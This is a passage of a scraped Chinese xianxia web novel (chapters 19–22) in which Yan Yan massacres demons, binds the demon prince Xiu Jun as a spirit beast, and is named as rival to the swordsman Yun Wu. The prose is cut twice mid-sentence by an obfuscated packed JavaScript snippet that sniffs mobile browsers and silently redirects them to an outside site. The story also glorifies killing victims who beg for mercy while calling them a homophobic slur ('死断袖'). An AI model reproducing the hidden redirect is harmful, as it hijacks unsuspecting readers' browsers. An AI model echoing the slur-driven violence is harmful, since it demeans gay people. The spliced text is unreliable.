怎么可能?!木蕊就算是用丹药对切而成的化神期,但也并非是一个筑基期修士能够比拟的。 天下人也是有不少是可以驾驭灵宠的,但是灵宠的修为和修士紧紧挂钩,譬如一介筑基修士签约了一化神期的灵宠,由于修士的元神强度只有筑基期,那么灵宠的实力也会一并被削弱,甚至会跌落元婴。 这么个筑基期的修士,其元神强度能够容许灵宠发挥化神期的实力已然是叫人震惊,可这么一瞧,居然还远不仅此…… 在座妖魔不少都是尸山血海出来的,自然敏锐的察觉到了眼前的危险。 这般强悍的元神,定然不可能只是一方炉鼎……究竟是何方神圣?! 冷睨了眼角落里的木蕊,宴焱缓缓转身,他低头,目光落在自己的指尖上,轻轻蜷了蜷手指。 那素白的指尖之上正氤氲着厚重的灵力,一种掌控绝对力量的快感忽地窜上了头皮,叫宴焱兴奋的、缓缓的眨了眨眼皮。 “怎么样,我的灵力流用起来顺手与否?” 修君还盘在粗大枝干之上,缓缓的向下探了探头,传声给宴焱。 宴焱不置可否,只是勾了勾唇,长长的眼睫垂下,叫人探不清他眸底的神色。 “再玩几局便知。” 他轻声道。 白齐敏锐的察觉到了危险,先一步站起了身,面色从轻佻变得庄重,他第一次郑重的望向眼前矗立的人修,眉头紧锁,暗中已然运气,护住了心脉。 果不其然,下一秒,宴焱猛然抬起头来,直勾勾的望向了白齐。 “你方才唤我什么?” 突如其来的一句响彻在大殿之上,倒是叫所有人都措手不及。 宴焱的凤眸很冷,黝黑的瞳孔紧紧锁定人时总会叫人觉得头皮骨都有些发凉,此刻他皮笑肉不笑,好整以暇的望着白齐。 白齐被他这没头没尾的一句吓得一愣,手心愣是出了一层薄汗。 “什……什么。” 他结巴着,一时没反应过来。 宴焱颇有闲心的又重复了遍,声音在寂静的大殿中颇为突兀: “我说,你方才叫我什么?” 感受到周遭登时用来的如同针尖般的目光,白齐不受控制的咽了口唾沫,指节不自觉的发颤,但还是强行保持着一方大能的风度,硬着头皮回答道: “我方才唤你作美人了,怎么,这个称呼不好么……” 顶着宴焱森冷的目光,他的声音越来越微弱。 “当然不好了。我有名字。” 宴焱轻轻侧了侧头,摁着鞭柄的手缓缓收紧,绷出利落的青筋。 “我叫宴焱。你要记好了。” “免得阎王问谁取了你的性命,你再像这样支支吾吾的答不上来。” 19. 第 19 章 话音刚落,那烁着寒芒的骨鞭猛然一甩,钩尖晃动间扯开一道银光,狠戾的朝着白齐抽去! 白齐神色一凝,咬牙,硬着头皮筑起一道灵力防御。 他的实力在化神中期,论境界还要比木蕊更高些,但方才宴焱甩开鞭尾时匀出的灵力波动分明不止化神期中期,是化神圆满…… 还是更恐怖的存在? 白齐虽说脾气暴躁了点,但脑子还是有的,立刻就意识到面前的人绝非他先前以为的软柿子。 以往他借着狡兔三窟和狡猾的功法躲过了不少仙界大能的追杀,可如今他却无端端的心尖发慌,指尖打颤,面色凝重的像是白纸。 危险,他的直觉在告诉他有危险。 那道防御网蕴含了白齐毕生所有的手法,他咬了咬牙,心里估量了下,虽说他的修为只有化神中期,但这样精心筑起的灵力防御却还是防御化神圆满,甚至是洞虚初期的—— 他脑中的念头尚未落成,但下一刻,白齐的瞳仁猛的紧缩! 那银色鞭尾赫然破开了面前灵力屏障,厚重的灵力波犹如四散的玻璃片,在那一刻分崩离析,随着一声突兀的‘啪——’,那鞭尾便在他瞳仁中逐渐放大,放大,直到银色的骨鞭彻底吞噬他眸底的光亮。 “刺啦——” 是钩尾破开皮肉的脆响。 白齐相较于还吊着一口气的木蕊死得更干脆些,骨鞭准确的落在了他的心脉处,深深嵌入了皮肉数寸,带起鞭尾时,那血肉便纷飞,温热的血水像是炸开的水龙头,骤然喷涌而出,溅开一片血红。 地面上很快以白齐的尸身为中心蔓延开一片殷红的血潭,艳艳色泽曳地,一并曳入了宴焱的眸底,墨色瞳仁犹如被血浸染,抬起眼帘时,眸中的狠戾无端端的叫人心头发颤。 方才还和白齐针锋相对要抢夺宴焱的那位魔头不由自主的后侧一寸,在座都不是傻子,唇亡齿寒的概念还是略懂一二。 魔头立刻就与刚刚要参加投壶比赛的妖魔们交换了个眼神,下一秒,他们齐齐捏诀,甩动手中武器,一并从四面八方朝着宴焱冲去! “冲啊——” “杀了他——” 一个化神期,两个化神期杀不死他,而今这么多个化神期和洞虚期难道还奈何不了他吗?! 相比于怒目圆睁,奋力一搏的诸位妖魔,处于风波中心的宴焱倒是风轻云淡,甚至还有闲心趁着他们攻击的罅隙拢了拢鬓间被血水濡湿的发,将那乌发别在耳后,凤眸微微眯起,唇角似有似无的带着笑。 “正好,一并算账了。” 宴焱本就因为遇到了修君等断袖心有不忿,憋着的火无处可泄,这群不知好歹的妖魔倒是赶上好时候了,恰好给他泻泻火气! 乌黑的瞳仁登时因兴奋而紧缩,刹时,却见细白的手臂轻轻一震,那骨鞭狠狠一扫,裹挟着从四面八方暴涨而来的灵流朝着那些妖魔径直冲去!! 骨鞭先是精准的扫开了一片妖魔,尖钩干脆利落的嵌入了来者的筋脉薄弱处,再一抽出时便是血流奔涌。 有人一击之下并未毙命,挣扎着又举起了手中的武器,就要怒吼着,恶狠狠的冲着宴焱袭来! “去死——” 但宴焱哪会给他偷袭的机会,骨鞭利落的一甩,转了个方向,朝着那人狠狠抽去,银芒闪动间,又是皮肉被尖锐的骨鞭抽得分离。 接连不断的几鞭子下去,碎肉乱飞,赫然抖开一片殷红。 方才还气势丰足的妖魔骤然被抽了魂,有的没了生机,有的被宴焱骨鞭刹时迸发的浑厚威压吓得骨颤肉惊,颤颤着腿就要逃, 当骨鞭再一次果决抽出之时,那原本银白的鞭身登时匀满了血水的艳红。 红,是泯灭一切的鲜艳。 艳色将原本素净的玉阶都浸染渗透,血水顺着玉色阶梯缓缓滴落,滴滴答答的落血声响在宽阔的殿堂中,格外刺耳。 偏偏宴焱的气还未撒完,对着已然倒下成一片的妖魔躯体又狠狠甩了几鞭。 有妖魔气弱的唤了几声饶命,可宴焱没给他机会,瞄准了求饶的妖魔,就是冲着命脉狠狠一击—— “死断袖还想活命?!!” 宴焱咬牙,手下更是用力一甩。 啪的几声脆响下去,尖刺骨鞭勾开皮肉,血水喷涌,本还有生机的几个妖魔这下真成了蔫了的菜,连一点儿微弱的气息也没有了。 一众妖魔倒下,骨鞭也垂落,细长鞭身蜿蜒盘绕在血水之中,皎皎月色喜人,偏爱的镀过宴焱骨相优越的侧脸,乌发雪肤,点点红血飞溅上内中黑衣,叫那张脸愈发显得惑人。 那是一种与先前截然不同的凌厉美。尸山血海之中,红褙披身,宛若玉面修罗,三千玉阶尽染血。 这一回,在场无人敢出声,针落可闻的大殿之中仅有宴焱缓缓下踏着阶梯的步履声,以及血水缓缓向下滴落的脆响。 能被修君宴请而来的妖魔无一不是在六界叫得上名号的,见惯了尸山血海,可即便如此,眼睁睁的望着步步前来的宴焱还是个个手心发凉。 恐惧。 这宴焱究竟是什么来历……如此年轻,这般狠绝的手法怎么先前从未听说过? 无数人的脑中只有这么个念头。 宴焱倒是不在意他人心中所想,轻轻的一晃鞭子,利落的抽向了一侧摆放的投壶,随着一声刺耳的碎裂声,他冷眉扬声道: “还有谁?一块上了。” 面前还摆放着无数‘先驱’的尸骸呢,殿中自然无人敢出声,全场噤若寒蝉,瞧着那一步步从玉阶之上踩下的身影。 那些被诛杀的人里不少都是被六界悬赏许久的亡命之徒,而今居然一窝被端了,并且这诛灭之人还是个如此年轻的后生。这般可怖的实力,和那前些年斩尽出世魂魔的蜀山云梧有的一拼。 只是…… 不少人暗暗往主殿的方向扫了眼。心下疑窦渐起。 这会客殿中出了这么大的一档子事,连得力部下木蕊都被揍的只剩一口气,这修君怎么还不出手? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258169|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴焱的目光缓缓扫过剩下的妖魔。 方才出腔企图占他便宜的死断袖都被他打得残的残,死的死,剩下都是些没有出声的正常人,宴焱也没那个闲心再出手杀人,冷哼一声,长鞭一甩,便要将骨鞭扣住鬓边,大步朝着大殿出口行去。 此次倒是无人敢拦。 正当宴焱大步向前行去时,却听一声微弱的轻唤从角落里响起,只见本被宴焱揍的只剩一口气的木蕊竟然还强撑着抬起一寸头,朝着殿门探了探身子,虚弱的叫了声: “主君……” 随着他的那声轻唤,大殿中央浮现出一道黑衣修长的身影,赫然是消失已久的修君。 修君作为已故的妖王次子,早在数百年前便已名声大噪,也是响彻一方的人物。 只可惜当年王位之争,修君这才姑且躲在这冥妖交接的地带,但他的修为却依旧在猛涨,这些年来他不与外界再接触,所以也没人知道修君的境界究竟涨到了何种地步。 但绝对不是一个二十出头的小辈能比拟的。 见修君终于出现,在场人等本来惊惧不已的心骤然安定下来,无数道希冀的目光冲着修君探去。 虽说这宴焱手段了得,但还是嫩了些,蜀山云梧背后有大能师尊作为靠山,这些年来才免去了不少觊觎的探杀。 而今一个散修,却弄出了这般大的动静,况且还是在修君这般大能的眼皮子底下做的祟,修君又是个不好惹的角色,如此行事,恐怕…… 是要出师未捷身先死,一代天骄要折在这里了。 叹惋的,幸灾乐祸的,以及看戏的视线骤然汇聚。 有些个回来事的,甚至还出声,意恐宴焱这遭被诛杀的不够干脆般,还冲着修君添油加醋的诉苦。 木蕊撑着一口气,肩膀上已然断开的枝桠颤颤巍巍,抽出一截新芽,企图弥补着自个喉间那血涌的大窟窿,使得声音更真切些: “主君,快些出手……” 宴焱倒是察觉到了周遭人忽然变换的态度,但他也不太在意,只是颇有些差异挑了挑眉稍,转身,将目光落在忽然出现的修君身上。 奇怪了,他不是将人锁死在系统空间里了吗?怎么的又出来了? 系统倒是知道自己的空间奖励又出了差错,挠了挠脑袋,查看了下空间,支支吾吾道:“好像是双向空间,因为修君道境界有点高了,所以宿主您现在还不能完全把他锁在里边……” 一听这话,宴焱的眉梢一皱,冲着修君问道: “你出来做什么?” 听这狂放不羁的口气。 不少人暗暗咂舌,直摇头,想着这人修还是太过年轻气盛,不知深浅,也不打听打听这修君的脾性…… 虽说宴焱天赋卓绝,但年龄差距摆在这里。修君这般大能,又岂是方才斩获的小鱼小虾,任凭他这般挑衅呢? 无数充满希冀的目光下,修君终于动了。 却听他缓缓启唇,对着宴焱可怜兮兮的轻唤一声道: “主人。” 20. 第 20 章 不仅仅是众妖魔忽地沉寂了下来,不可置信的望着眼前的一幕,宴焱也一并被雷得起了层鸡皮疙瘩。 他方才总觉得修君在唤他做主人时不对劲呢,这会终于回过神来,发觉不对之处了,那样暧昧的语气,就好像他们两有什么不可告人的关系一样。 宴焱不受控制的往后退了一步,和修君拉开一段距离,冷声道: “别这样叫我。” 木蕊本是强撑着一口气,可见了这一幕,瞳仁紧缩,一口血水猛的涌上喉头,徒劳张着唇瓣,半晌说不出来话: “主,主君?” 终的,在瞧见他家那位向来脾气暴戾的主君露出可怜委屈的表情之后,木蕊的那口气终于还是没喘过来,硬生生的吐出了口殷红的血水,怒目圆睁,气息便赫然断开。 其余人还盼着修君出手呢,这会儿都被冲击得脑中一片轰然,企图消化着诡异的一幕。 怎么回事…… 什么主人?为什么修君会朝着一介小辈喊主人? 有心细的妖魔却早在修君出现时发觉了端倪,方才宴焱出手时的灵力波本来就有些熟悉,只是事发突然,很多人没来得及细细感受。此刻修君出现在了大殿中,多个妖魔已然察觉到了两方中熟悉的波动。 是契约! 灵体被契约之后,其灵力就会被契约的主人所调用。怪不得方才宴焱出手的时候那氤氲的灵力如此的熟悉,原来是修君的灵力! 但他是怎么做到的?叫修君这般的大能也心甘情愿的为他所驱使。 可而今大局已定,再也没有人胆敢上前追问亦或是出声,只得眼睁睁的瞧着那修君在众目睽睽之下化作了一条通体乌黑的蟒蛇,一左一右,伴着溟一并潜伏在宴焱的鬓发间。 震惊之余,众人心中念念。 看来,这次的六界证道大会又多了几分变数了。 * 六界消息向来传的极快。 先是无名小辈屠尽悬赏妖魔的消息如同长了翅膀般飞入了六界各处势力,而后又传出了百年前威震一方的修君被灵修契约的消息,此讯息一出,更是如同石子破开平静湖面,激起千层浪。 一时间,‘宴焱’的名讳成了茶坊话间炙手可热的话题,不少势力暗中搜查,有人传言道,宴焱此行前往仙界,是要再六界证道大会上击败蜀山剑道的少宗云梧,一举夺得第一天才的位置。 纷纷扰扰,闲言碎语,不计其数。 * 蜀山剑宗。 此处是蜀山七峰之一的金石峰,高耸入云的山峦刺破薄雾,崖间向来清净,灵木从立,瀑流直下三千尺。往日里清净无人,今儿倒是热闹。 怀远剑尊打坐于高石之上,微微阖着眼,银白长须随风飘扬。 远远从崖间显出一道身影,玄衣仙骨,一柄冷剑抱于胸前,定睛一看,赫然是最近六界议论中心的主角之一,云梧。 云梧走了几步,自怀远剑尊数尺远处站定,略微躬身,拜道: “师尊。” 怀远剑尊眉间一动,却并未睁眼,依旧端坐,只是沉吟了一会,道: “近日修炼得如何?” 似乎是想起了什么,云梧的眉间拢上了一层阴翳,低了低头,如实相告: “恕弟子无能……近日愁绪缠身,实在是无法静心修炼。” 这些日子云梧的确难捱,他前些日子御剑回宗之后便马不停蹄的动用手下势力,颁布了寻人令,可任由他的筹码加了又加,寻人决广布六界各处,却愣是连阿火的一点儿消息都没有。 没有,什么都没有。 不仅仅是连寻人决没有任何消息,甚至连他拜访的命修都算不出一点儿阿火的痕迹。就好像这个人是凭空从六界里消失了般。 叫云梧在深夜里垂泪之时都有些怀疑,与阿火的那夜是不是只是他一厢情愿的春梦。 云梧的指节蜷了蜷,薄唇微抿,落下眼帘。 怀远剑尊倒是不意外他的这番话,重重的哼了声,道: “我就知道。但为师可是提醒过你了,若是连命修都算不出来的人,要么他给你的姓名是假的,要么……就是他在离开后便死了。” 云梧猛的抬起了头,捉急道: “他不会死的!!那姓名,那姓名……说不准是他说岔了呢。” 像是真的动了气,云梧的唇都打了哆嗦,墨瞳飘忽,一遍遍的否认着,声音越来越微弱。 终的,似乎是察觉到自己的失态,他又猛然低下头,将面庞藏在手臂之下,低低补了句: “是弟子失礼了。” 怀远剑尊这会儿终于睁开了眼,瞧着他这副模样,又忍不住沉沉叹了口气,絮絮叨叨: “你小子,唉……蜀山祖训你都忘记了?剑道才是第一位,作为剑修,你居然还动这些儿女情长,真是造孽造孽。” 怀远剑尊又哀叹了声,重重的捋了捋胡,无可奈何道: “也罢也罢,今日你随为师去一趟叩心台,拜托问心尊者同你算上一卦,也算是了结了你这般心事了。” 云梧眉间登时染上一丝希冀,喜色上眉。 叩心台的问心尊者乃是六界第一的命修,叩心台万年来就出了这么一个天纵奇才,其一盘补天棋算得天下命数万千,似乎就没有这问心尊者算不得的秘密。 先前云梧就想拜访一二,只是因为这问心尊者已然许久未曾出山,只好作罢。若是这回能让问心尊者出手,那找到阿火定然又会容易几分。 云梧正躬身相拜呢,远处忽地传来两声清脆的鸟啼,却见两只肥胖的白鹤从空中极速的飞掠而下,带起一卷粉尘。 那传声的白鹤是个急性子,做什么都爱嚎一嘴,蜀山剑宗弟子早已习惯了这两白鹤兄弟一惊一乍的模样。这会儿它们两也不例外,越过了重重山峦,一路扯着嗓子,大声疾呼道: “不好了不好了,出,出了个人修——” 怀远剑尊打远便听见了两只白鹤的嚎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258170|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫,眉头一皱,指尖微微掐诀,把两只肥鸟从天上打了下来。 那白鹤老大在地上扑腾了几个滚,停在了个土坑里,终于能张开红嘴继续说些什么。但还没等它出声呢,老二也一并飞滚了过来,肥膘一波涌,毫不犹豫的将老大撞飞了出去。 偏偏角度刁钻,就冲着那仙风道骨的怀远剑宗面中直直冲去—— 怀远剑尊赫然睁眼,一弹指,又将白鹤老大一甩,随着一声凄厉的“啊——”声,老大就这么跌落到了瀑布底下。 老二摇摇晃晃的站了起来,甩了甩脑袋,也不管它亲爱的哥哥了,着急忙慌的就开了口,前言不搭后语: “人,人修,北边——有人修!!” 云梧正愁着阿火的事呢,闻言皱了皱眉,道:“北边一直有人修。” “不是不是,这一次不一样,这个人修,他非常的厉害,非常非常非常厉害!!” 老二一连用了好几个非常,舌尖打结,气喘吁吁。 “他年轻得很,和少宗主差不多大,却把,把那个修君给契约了,还杀了好多很厉害的妖魔呢!!” 那畔老大也挣扎着从崖底爬出来,接着老二的话补充道:“是啊是啊,而且他超级的凶恶,是很可怕的那种人修,他还放话说,说要——” 这般说着,老大的声音忽地弱了下去,小心翼翼的瞧了瞧云梧的面色。 云梧眉头一拧,道: “说什么?” 老大深吸了一口气,大声道: “他说要夺了您六界证道大会第一的宝座呢!!” 此话一出,怀远剑尊眯了眯眼,终于将视线放在了两只白鹤身上。 “什么人?竟有如此大的口气?” 别的不说,他怀远剑尊的徒儿虽说恋爱脑了点,但就在天赋这一层面上至今无人敢比拟——万年难出一个的九阳剑骨,甚至连那命数都是叩心台数次算过的天命之体,是天道庇佑的宠儿。 哪儿来的不知名人修,胆敢有如此大的口气。 白鹤听了怀远剑尊的话,忙是回道: “是个叫宴焱的灵修,这些天刚刚出的名,据说以前是个九转灵体的废柴,不知怎的,就忽然间好像通了什么秘法,击败了如此多的妖魔。” 云梧垂下眼,嘴中低声咀嚼着这两个字: “宴焱?” 怀远剑尊倒是将信将疑,这白鹤向来喜欢添油加醋一惊一乍的,听一半也就算了。况且这宴焱他从未听说过,若是个有天赋的灵修,前二十年不该如此消声觅迹。 说不准也只是个走了捷径的邪修。 想罢,怀远剑尊又一挥指,止住了白鹤两兄弟喋喋不休的嘴,道:“知道了,你们先休息去吧。” 再一转头,他又将目光落在了云梧的身上,沉声道: “虽说大会魁首之位应当非你莫属,但这些日子你还是莫要懈怠。先前问心尊者可是算过了,溯世镜这一秘宝对你很重要,你一定要夺得!!” 21. 第 21 章 怀远剑尊此次前往叩心台是为了六界证道大会的正事。 六界证道大会自数万年前一直沿袭至今,数万年来的魁首奖项也是源自已然飞升的大能留下的遗宝,每一个都珍贵至极。 四年一轮回,百年一大会,这一年恰好便轮到了百年交替之际的大会赛,这次的奖项更是那能拨转时空的溯世镜。 古往今来,逆转时空的手段除了乘坐特质的骨舟顺地势而下冥界的往生河,便只有这溯世镜能做到了。 况且往生河冤魂众多,独自一人乘坐骨舟,往往是坠入往生河中被冤魂吞噬,落得个神魂具散的结局。所以这溯世镜近乎就是而今唯一能够扭转时空的法子了,无数大能都眼馋这溯世镜。 若不是六界证道大会有禁制,只容许百岁以下的修士参赛,否则它的出世定然要引起一场大能间的血雨腥风。 事关重要,这次大会的选址也颇有讲究,第一场比试便选在了叩心台的天机阁观礼台,由问心尊者执掌第一回问心证道的关卡。这一回合将会用御道莲灯筛选出气运上乘道心稳固的修士,以防有邪修混入其中。 作为天下第一大宗的蜀山剑宗则是承接了第二回合单独比斗的场地,有些要紧的地方还须得和叩心台再做确认。 身为蜀山剑宗宗主的怀远剑尊也不再拖延,即刻启程,一同伴行的还有几位分峰主和一众宗门长老。 不仅仅是蜀山剑宗对此次的大会极为重视,叩心台也早早做了准备,问心尊者和座下弟子早早便在天机阁要地候着。 天机阁坐落于仙界至高处的山崖,陡峭的山巅斜飞入薄雾间,白玉阁楼中轻雾盘旋,一众命修矗立于宽阔玉色殿中,山间有风,轻拂起整齐的白袍。 为首的白袍仙人正是赫赫有名的问心尊者。 打眼一瞧,正是温润如玉,仙风道骨,约莫四十来岁的模样。 他遥遥见了来的剑宗等人,便是远远的躬身拜手,身后一众命修也跟着一并相拜,白袍齐身,晃眼处和玉殿连成一片雪白。 怀远剑尊忙是也一并拱手相拜,嘴上客套道:“尊者还是如此客气。” 问心尊者浅浅一笑,也不做这些虚礼了,只是目光不着痕迹掠过一侧跟着的云梧,又收回了眼,抬手轻笑道:“这边请。” 穿过一玉色长廊,便是问心尊者早设好的筵席,这一次六界大会各界都颇为重视,都派了些能主话的人物前来相商。 大殿宽敞,一扫眼过去,落座的赫然有妖界三清宫、魔界罗刹门等云云众修。 因着几百年前的妖界大乱,三清宫的势力一度也被削弱,而今和冥界鬼门令一齐成了夹在仙界和魔界中的中立派,平日里不怎么管事,这一回的六界证道大会的会场自然也没有三清宫的份,来的人也少。 反观魔界罗刹门门徒众多,这几百年来隐隐有吞并敌对几个势力,扩张整个魔界版图的趋势。且魔修一贯是看不惯光风霁月的修门子弟,但碍于蜀山剑宗不可撼动的实力,虽说不敢怎么明面上敌对,但总是暗戳戳的和蜀山剑派等人唱反调。 这会儿一见了落座的剑宗等人,端坐白玉台上的罗刹门长老先开了口,皮笑肉不笑着,状似闲谈的道: “听闻最近六界又出了个颇为厉害的灵修,年纪轻轻的就能斩杀一众化神,果真是后生可畏啊。看来……” 这么说着,罗刹门长老又轻轻的瞥了眼云梧,继续转头大笑道: “这六界证道大会的魁首之位又多了几分悬念啊。” 云梧像是没察觉到罗刹门暗戳戳的小动作,端坐于玉座上,不置一词。 那头见剑宗人等没反应,罗刹门有人附和着,又挑起了话头: “听说那名唤宴焱的灵修一人便斩尽了仙界追杀多年的一众妖魔,还驯服了那大名鼎鼎的修君作灵宠,的确是个万年难得一见的天才。” 他这么说着,不光是剑宗弟子面色变了变,三清宫宫人的面色也有些不愉。 原因无他,修君的身份实在是尴尬,他是前朝妖王的皇子,血脉尊贵,差一点便能统领整个妖族,而今居然被一介小小人修御作了灵宠,此举可谓是叫天下哗然。 以三清宫为首的人传言说这宴焱其实是真正的天命之子,所以才能轻而易举的契约修君,修君此举乃是慧眼识珠; 但又有人反驳说,天下天命之子向来只有一位,而云梧的气运已然被观礼台御道莲灯佐证过多次,是货真价实的天命之子,那宴焱不过是用了什么邪门法子才诱惑得修君招降。 罗刹门这一番夹枪带棒叫在场的氛围骤然冷了下来,作为主家的问心尊者瞧着这般场景,只得无奈的笑笑,充作和事佬,便要糊弄过去: “是如此,我昨夜又占了一卦,北边薄州的这颗冉冉之星星运的确辉煌,但云梧小友的运星也不差,依旧鼎盛……” “那便是两星争锋,难舍其谁了?” 罗刹门长老岂能放过这个机会,立马打断了问心尊者的话语,揪着这点不放,显然是存心要借着这个幌子恶心一番剑宗等人。 剑宗这几十年来出了这么个有望飞升成神的天才,明摆着今后的宗门世运就要一路昌盛。不说别的,至少接下来的万年内又是稳坐六界第一宗门的宝座了,其他宗门自然眼馋的很。 而今出了这么个能和云梧争锋的人物,不管是真是假,许多人心里都偷着乐呢。 果不其然,他这么一番话出来,剑宗的几个长老面色陡然变得难看。 剑修本就是心直口快,不喜欢这些弯弯绕绕的。这么一番刺激下来,有几个急性子的长老已然暗中紧握住剑柄,似乎马上就要冷剑出鞘,给这群恶心人的魔修一点颜色瞧瞧。 云梧坐在怀远剑尊的身侧,一侧眸便瞧见了几个师叔按耐不住的动作。他薄唇轻抿,不动声色的按住了企图要出手的长老。又抬头,直视前方罗刹门长老。 他的眼尾薄情上挑,此刻面色淡淡,齿间咬下的字句清晰。 只是语调平缓,并未被魔修的言语激怒,平静得像是在陈述一件事实: “我会在六界证道大会上击败宴焱。” 云梧的声音并不大,却能叫在场人全都清晰的听 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问心尊者方才先行离开了大殿,此刻倒像是在菩提树下等候了云梧许久,见了匆匆持剑前来的云梧,也不惊讶,而是微微同他颔首,浅笑道: “云梧小友可是为了你那道侣的事?” 云海蒸涌,昨夜一晚霜寒,菩提树叶上沾染几分雪意。此刻薄叶随风轻晃,伴着云梧略有些焦急的喘息。 命修一贯是算尽天下大小细事,何况云梧这一次的寻人决天下皆知,所以他对问心尊者的这番话也不意外,略微拱手,应了声是。 问心尊者了然的点了点头,只是沉吟了一会,忽然又将话头一撇,转向了那位宴焱身上: “这宴焱,我倒是先算了一卦,他的命数……有些奇特。你可有了解过他的情况?” 云梧虽然心中着急,不想再听有关‘宴焱’任何消息。但碍于有求于问心尊者,还是耐下性子应道: “未曾。” 问心尊者听了他这话,抬眸看了他一眼,迟疑道: “你二人命数相缠,呈争锋相对之势。有他没你,有你没他,若是不早些除去这一大患,恐怕注定日后终生都要与之相缠……你师尊与我是多年好友,我自然也不想看到这样的情形。” 云梧闻言,眉头紧紧皱起。 他虽然不在意六界虚名,但是做了二十多年的天之骄子,说不在意有人与他争锋事不可能的。 况且听了‘命数相缠’这一用词,再想起更应该与他命数相缠的道侣阿火还音讯全无,云梧心下愈发淤塞,眉间神色更冷,重申道: “我会把握六界大会这个机会,将他除去的。” 再一次听见云梧这番笃定的话,问心尊者眉间褶皱这才舒张开,连说了三声‘好’,又念起云梧初来的目的,伸出手,轻轻拍了拍云梧的肩头,道: “至于你的那位道侣……我而今尚且不能算得清楚,但若你的气运不因宴焱而减,天道垂怜,你们二人定会相见的。” 22.第 22 章 仙界,冀州。 自打从修君那处出来之后,宴焱便马不停蹄的一路南下,越过寒门之山、大冥之水,一路行至了仙界中心的冀州。 冀州丰饶,又有蜀山剑宗驻守,辖下城邦自然是热闹非凡。 峻险的山峦夹道,中间开拓出一方平整的城池。宴焱一入城池,便能遥遥探见远方隐隐绰绰的高峰轮廓,云雾缭绕间,走势凌厉逼人,状似一把出鞘的冷剑,森然俯视众生。 赫然是蜀山剑宗的主峰,火翎峰。 作为六界第一宗的蜀山剑宗,这火翎峰一贯是万人憧憬之地,高不可攀,只有每十年一次的弟子招生才会开放陡峰的万层石阶,入峰参选的弟子都是无一不是世家各州内的天才。 可天下英雄犹如过江之鲫,剑宗入门条件极为严苛,多的是人失意,终其一生不能踏入主峰半步。 而今恰逢百年盛会,主峰为了承接第二场比斗的场地,这才破例让外人进入主峰内部一窥盛况。 宴焱迅速抬眸扫了眼那高悬石峰,抿唇,又很快低头收回了视线,步履匆忙的融入了万千入城参赛的修士之中。 舟车劳顿了几日,宴焱这会儿从修君那顺来了不少灵石,也不愁钱财等身外物了,大手笔的点了家茶楼,便要歇歇脚。 不同于火翎峰的高不可攀,底下的城中鱼龙混杂,又逢六界证道大会此等盛典,茶楼中自是热闹非凡。 宴焱一落座,便敏锐的从一楼茶客的交谈中捕捉到了些关键字。 这话头是一散客先开的,他嘬了口茶,又‘嚯’的一声啧啧吐了口气,将周遭人的注意力都引到了他身上。 “这一次的六界证道大会还真是比以往的任何一届都要精彩,不论是这个奖赏溯世镜叫人眼热,连一贯稳当的魁首之位都有了悬念。” 有人应当是闭关方才出来的,对这些日子发生的事情一贯不知,听了散客这话,登时就有些好奇了,急忙发问道: “何出此言?试问天下年轻一辈,还能有谁可以与那蜀山云梧争锋?” 这会儿没等散客发话,又有另几人憋不住了,齐齐打断了这位闭关人士的发言: “多久没通灵网了?这么大的消息你都不知道?前几日出了个少年天才名唤宴焱,那可是斩尽了妖魔……” 几人你一言我一语的便把前几日发生的事情交代了清楚,留着那闭关修士大张着嘴,惊愕的缓不过神来。 方才那引起话头的茶客倒是没吭声,听着那几位的话,又不急不徐的呷了口茶,待到他们交代完了先前发生的事情,这才发话道: “这位兄台委实是断网了,不过方才诸位交代的事情也不算是新鲜了,我这儿,还有更新鲜的料呢。” 一听这话,众人登时来劲了,原因无他,这段时间关乎这宴焱云梧二人的事可是六界最为劲爆的题材。散客此话一出,原本一小圈围着的人逐渐扩成了个大圈,个个安静下来,洗耳恭听。 散客清了清嗓子,压低声音,神神秘秘道: “我在叩心台有点人脉,之前听了点风声,说是问心尊者算出一卦,说这云梧宴焱二人乃是天生的宿敌,命数相缠。并且天道犯了糊涂,这两个都是天命之子,都受天道眷顾呢……” “这话也太扯了——” “就是就是。谁人不知天命之子只有一个,怎么可能会有两个天命之子呢。” 不少人不买账,出声怼道。 散客一急,忙开始辩解道:“这是真事,那蜀山云梧都发话说要在六界证道大会中一举除去宴焱了!!据说当时他下了血誓,说要以击败宴焱这一宿敌为引,之后风风光光的娶他那道侣。届时让蜀山剑宗双喜临门呢!” 此话一出,登时传开一片倒吸冷气声。 不仅仅是周遭人等心中诧异,二楼雅座上的宴焱也一并蹙起眉来,心下一沉。 他最担心的事情还是发生了。 先前他借着系统的信息差这才夺得了一时半会暗渡陈仓的机会。可没想到,云梧竟然这么快便知道了二人是宿敌的事情。 长睫微垂,宴焱唇瓣紧抿,指尖有一搭没一搭的轻敲茶桌,思索着什么。 下方的人又开始了攀谈:“要说这宴焱的出处,那可大有来头,听说他原是薄州陲云宗的弟子,当时轰轰烈烈的入门时测出了和云梧一样的九阳剑骨,那时可是煞羡旁人啊。” “但不知为何,一朝根骨被毁,陲云宗还颁布了他的悬赏令,说是陲云宗少宗要悬赏他的活人,赏金也不少。但他本人销声匿迹,直到了最近这事才重出江湖。” “要我说,这陲云宗人就是眼界小,辨不得何为明珠何为鱼目,白白损失了一代天骄。” 散客说得有头有尾。这些事迹在这些日子宴焱名声大噪之后便传遍了六界,这番说辞不知道一天要在茶楼里被咀嚼多少回。 不过此时一道愤然的声音却从角落里陡然传来: “你知道些什么——” 